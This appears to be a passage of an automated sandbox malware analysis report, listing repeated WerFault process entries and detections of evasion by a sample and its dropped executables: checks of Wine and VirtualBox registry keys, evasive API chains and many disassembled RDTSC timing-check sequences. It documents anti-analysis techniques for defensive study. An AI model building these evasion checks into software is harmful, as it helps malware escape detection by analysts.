Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep			graph_5-36616
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_1-9701

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB95B second address: CDB96D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 js 00007F5DA4F03EB7h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDAE05 second address: CDAE2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007F5DA541805Bh 0x0000000d pop ecx 0x0000000e pop edi 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F5DA5418060h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDAE2E second address: CDAE49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5DA4F03EA2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDAE49 second address: CDAE91 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F5DA541805Eh 0x0000000e jmp 00007F5DA5418064h 0x00000013 jmp 00007F5DA5418064h 0x00000018 popad 0x00000019 jbe 00007F5DA5418070h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDAFF9 second address: CDAFFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDAFFD second address: CDB001 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB001 second address: CDB007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB007 second address: CDB00D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB00D second address: CDB024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA4F03EA3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB024 second address: CDB090 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5DA5418056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F5DA5418068h 0x00000010 jmp 00007F5DA541805Eh 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d jmp 00007F5DA5418069h 0x00000022 jmp 00007F5DA541805Fh 0x00000027 jnl 00007F5DA5418056h 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB090 second address: CDB094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB094 second address: CDB09C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCA9B second address: CDCB07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 jmp 00007F5DA4F03EA8h 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F5DA4F03E98h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 sbb ch, FFFFFFA4h 0x00000029 push 00000000h 0x0000002b mov cl, bh 0x0000002d call 00007F5DA4F03E99h 0x00000032 jmp 00007F5DA4F03EA9h 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCB07 second address: CDCB0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCB0D second address: CDCB12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCB12 second address: CDCB32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F5DA5418056h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jng 00007F5DA5418062h 0x00000018 jc 00007F5DA541805Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCB32 second address: CDCB58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, dword ptr [eax] 0x00000006 jns 00007F5DA4F03EA0h 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jp 00007F5DA4F03E96h 0x00000019 push esi 0x0000001a pop esi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCB58 second address: CDCBCF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5DA5418058h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d mov edx, dword ptr [ebp+122D3A8Bh] 0x00000013 push 00000003h 0x00000015 jg 00007F5DA5418059h 0x0000001b push 00000000h 0x0000001d jg 00007F5DA541805Ch 0x00000023 push 00000003h 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007F5DA5418058h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 0000001Bh 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f call 00007F5DA5418059h 0x00000044 jmp 00007F5DA5418066h 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCBCF second address: CDCBD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCBD5 second address: CDCBEE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5DA5418058h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 je 00007F5DA541805Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCBEE second address: CDCBF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCBF6 second address: CDCBFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCBFA second address: CDCC08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCC08 second address: CDCC26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA541805Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCC26 second address: CDCC2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCC2B second address: CDCC53 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5DA5418058h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d lea ebx, dword ptr [ebp+12451987h] 0x00000013 add edx, dword ptr [ebp+122D2A5Ch] 0x00000019 push eax 0x0000001a jl 00007F5DA5418062h 0x00000020 jng 00007F5DA541805Ch 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCCB8 second address: CDCCC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCCC4 second address: CDCCCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCCCA second address: CDCCCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCCCF second address: CDCD0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA5418068h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ecx, 48BE8EEEh 0x0000000f push 00000000h 0x00000011 xor dword ptr [ebp+122D3689h], edx 0x00000017 push 8BEA18CEh 0x0000001c pushad 0x0000001d jmp 00007F5DA541805Dh 0x00000022 push ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCD0F second address: CDCD65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 add dword ptr [esp], 7415E7B2h 0x0000000d xor dword ptr [ebp+122D1E20h], edi 0x00000013 push 00000003h 0x00000015 movzx edx, di 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007F5DA4F03E98h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 or dword ptr [ebp+122D38CAh], ebx 0x0000003a push 00000003h 0x0000003c mov esi, dword ptr [ebp+122D3A8Fh] 0x00000042 push 8DC4CC82h 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a push ebx 0x0000004b pop ebx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCD65 second address: CDCDC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 4DC4CC82h 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F5DA5418058h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D1D9Fh], edi 0x0000002e lea ebx, dword ptr [ebp+12451990h] 0x00000034 jng 00007F5DA541805Bh 0x0000003a sub si, 74EBh 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 je 00007F5DA541806Fh 0x00000048 jmp 00007F5DA5418069h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCE1F second address: CDCE84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03E9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push esi 0x0000000c jmp 00007F5DA4F03EA3h 0x00000011 pop esi 0x00000012 nop 0x00000013 or si, 97F5h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F5DA4F03E98h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 call 00007F5DA4F03E99h 0x00000039 jbe 00007F5DA4F03EA0h 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCE84 second address: CDCE91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCE91 second address: CDCE95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCE95 second address: CDCEE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F5DA5418064h 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007F5DA541805Fh 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b pushad 0x0000001c jmp 00007F5DA5418063h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCEE1 second address: CDCEE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCEE5 second address: CDCEE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCFAE second address: CDD007 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007F5DA4F03EA9h 0x00000010 pop eax 0x00000011 pushad 0x00000012 mov dword ptr [ebp+122D35AEh], edi 0x00000018 mov si, di 0x0000001b popad 0x0000001c lea ebx, dword ptr [ebp+1245199Bh] 0x00000022 call 00007F5DA4F03EA6h 0x00000027 sbb ecx, 28731050h 0x0000002d pop edi 0x0000002e push eax 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD007 second address: CDD00B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD00B second address: CDD023 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFD50F second address: CFD513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFD513 second address: CFD528 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFBEC4 second address: CFBECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5DA5418056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFBECE second address: CFBF04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA4h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop edx 0x00000011 jmp 00007F5DA4F03EA1h 0x00000016 pushad 0x00000017 push edi 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC481 second address: CFC486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC486 second address: CFC492 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F5DA4F03E96h 0x0000000c rdtsc
